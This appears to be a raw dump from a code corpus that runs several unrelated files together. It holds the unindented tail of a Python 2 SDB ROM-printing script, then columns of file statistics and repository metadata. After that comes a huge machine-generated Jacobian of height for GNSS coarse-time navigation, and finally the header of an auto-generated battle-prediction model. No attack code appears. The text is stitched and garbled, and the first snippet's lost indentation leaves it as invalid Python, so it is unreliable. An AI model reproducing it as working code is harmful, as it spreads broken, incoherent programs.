self.som.insert_component(peripheral, d2)
self.som.insert_component(peripheral, intr)
self.som.insert_component(memory, m1)
self.som.insert_component(memory, m2)
count = get_total_number_of_records(self.som)
print "count: %d" % count
#print_sdb(rom)
def write_to_file(rom, filename):
rom = sdbc.convert_rom_to_32bit_buffer(rom)
f = open(filename, 'w')
f.write(rom)
f.close()
def print_sdb(rom):
rom = sdbc.convert_rom_to_32bit_buffer(rom)
rom = rom.splitlines()
print "ROM"
for i in range (0, len(rom), 4):
if (i % 16 == 0):
magic = "0x%s" % (rom[i].lower())
last_val = int(rom[i + 15], 16) & 0xFF
print ""
if (magic == hex(sdbc.SDB_INTERCONNECT_MAGIC) and last_val == 0):
print "Interconnect"
elif last_val == 0x01:
print "Device"
elif last_val == 0x02:
print "Bridge"
elif last_val == 0x80:
print "Integration"
elif last_val == 0x81:
print "URL"
elif last_val == 0x82:
print "Synthesis"
elif last_val == 0xFF:
print "Empty"
else:
print "???"
print "%s %s : %s %s" % (rom[i], rom[i + 1], rom[i + 2], rom[i + 3])
| 39.777228
| 97
| 0.619166
| 1,021
| 8,035
| 4.63859
| 0.147894
| 0.091639
| 0.098818
| 0.120777
| 0.821368
| 0.77766
| 0.764569
| 0.743243
| 0.729307
| 0.721495
| 0
| 0.043635
| 0.272682
| 8,035
| 201
| 98
| 39.975124
| 0.766769
| 0.02402
| 0
| 0.619632
| 0
| 0
| 0.07238
| 0.009096
| 0
| 0
| 0.031386
| 0
| 0
| 0
| null | null | 0
| 0.079755
| null | null | 0.079755
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
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| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c8736efcdcf02f759aeb150740fab50faa90b9f3
| 27,114
|
py
|
Python
|
jacobian_height.py
|
mfkiwl/snapshot-gnss-algorithms
|
4ee4a7874f6b69db08506bf50d4b44ae2aee0bea
|
[
"0BSD"
] | 8
|
2021-06-19T20:39:17.000Z
|
2022-01-14T01:29:54.000Z
|
jacobian_height.py
|
zhufengGNSS/snapshot-gnss-algorithms
|
d9ca013c3738926b71abc3c0df55f7f34ece2fe3
|
[
"0BSD"
] | null | null | null |
jacobian_height.py
|
zhufengGNSS/snapshot-gnss-algorithms
|
d9ca013c3738926b71abc3c0df55f7f34ece2fe3
|
[
"0BSD"
] | 4
|
2021-06-26T13:18:20.000Z
|
2022-02-14T11:01:39.000Z
|
"""Approximate Jacobian of height measurement for coarse-time navigation."""
import numpy as np
def jacobian_height(state):
"""Approximate Jacobian of height measurement for coarse-time navigation.
Input:
state - Coarse-time navigation state with ECEF XYZ position as first
3 elements [m,m,m]
Output:
jac - Jacobian of height measurement w.r.t. to state, same size as
state
Author: Jonas Beuchert
"""
X = state[0]
Y = state[1]
Z = state[2]
jac = np.zeros(state.shape)
jac[0] = (6378137*((7718094650643695*((1119857325042224552253806830465948043803491303424*X*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*X*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/(576460752303423488*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) - (7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2*((2*((1119857325042224552253806830465948043803491303424*X*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*X*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + (2*(X/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*X*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3))/(1152921504606846976*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**2*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) + (7718094650643695*(X/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*X*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(576460752303423488*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)))/(2*(1 - (7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(1152921504606846976*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)))**(3/2)) - ((X**2 + Y**2)**(1/2)*((2*((1119857325042224552253806830465948043803491303424*X*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*X*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + (2*(X/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*X*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3))/(2*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**(1/2)) + (X*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**(1/2))/(X**2 + Y**2)**(1/2)
jac[1] = (6378137*((7718094650643695*((1119857325042224552253806830465948043803491303424*Y*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Y*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/(576460752303423488*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) - (7718094650643695*((2*((1119857325042224552253806830465948043803491303424*Y*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Y*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + (2*(Y/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*Y*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(1152921504606846976*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**2*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) + (7718094650643695*(Y/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*Y*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(576460752303423488*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)))/(2*(1 - (7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(1152921504606846976*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)))**(3/2)) - (((2*((1119857325042224552253806830465948043803491303424*Y*Z**3)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(5/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Y*Z**5)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(7/2)))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2))))/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + (2*(Y/(X**2 + Y**2)**(1/2) - (2607536585979307010854857542631424*Y*Z**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**2))*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)*(X**2 + Y**2)**(1/2))/(2*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**(1/2)) + (Y*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**(1/2))/(X**2 + Y**2)**(1/2)
jac[2] = (6378137*((7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2*((2*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))*((1119857325042224552253806830465948043803491303424*Z**2)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Z**4)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(5/2)) + 1))/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 - (5215073171958614021709715085262848*Z*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(20220311639288499177424097025*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)))/(1152921504606846976*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**2*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) - (7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))*((1119857325042224552253806830465948043803491303424*Z**2)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Z**4)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(5/2)) + 1))/(576460752303423488*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2) + (122834559177274247521352038285204821912754727*Z*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(71143896846886709392145939042063068692480*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)*(X**2 + Y**2)*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**3)))/(2*(1 - (7718094650643695*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2)/(1152921504606846976*((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2*((Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))**2/((X**2 + Y**2)**(1/2) - 5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)))**(3/2)) + ((X**2 + Y**2)**(1/2)*((2*(Z + (1119857325042224552253806830465948043803491303424*Z**3)/(25877616744567913292040773065806319934592375*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)))*((1119857325042224552253806830465948043803491303424*Z**2)/(8625872248189304430680257688602106644864125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)*(X**2 + Y**2)**(3/2)) - (205168251170290689566757539936548014766583032948965266941680210874043283275776*Z**4)/(1569760425171700614928496196497711413532211771334769425585302587475553125*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(5/2)*(X**2 + Y**2)**(5/2)) + 1))/((X**2 + Y**2)**(1/2) - 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5868323452564791/(137438953472*((183209277273383696325016551424*Z**2)/(181982804753596492596816873225*X**2 + 181982804753596492596816873225*Y**2) + 1)**(3/2)))**2 + 1)**(1/2))
return jac
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0
| 10
|
cd9c9a6d834dc73272aba206901aea7bc9fc0e2c
| 619,374
|
py
|
Python
|
bestmobabot/model.py
|
moonzlo/bestmobabot
|
8229de71a9d288daf6a7e513907821570e2eb111
|
[
"MIT"
] | 2
|
2020-04-29T03:59:49.000Z
|
2021-11-25T17:07:44.000Z
|
bestmobabot/model.py
|
moonzlo/bestmobabot
|
8229de71a9d288daf6a7e513907821570e2eb111
|
[
"MIT"
] | null | null | null |
bestmobabot/model.py
|
moonzlo/bestmobabot
|
8229de71a9d288daf6a7e513907821570e2eb111
|
[
"MIT"
] | 1
|
2022-03-13T12:32:21.000Z
|
2022-03-13T12:32:21.000Z
|
"""
Arena battle prediction model.
Auto-generated on 2018-04-04 23:45:01.
X shape: (1351, 129).
Score: 0.8779 (std: 0.0134).
"""
import base64
import gzip
import pickle
from sklearn.ensemble.forest import RandomForestClassifier
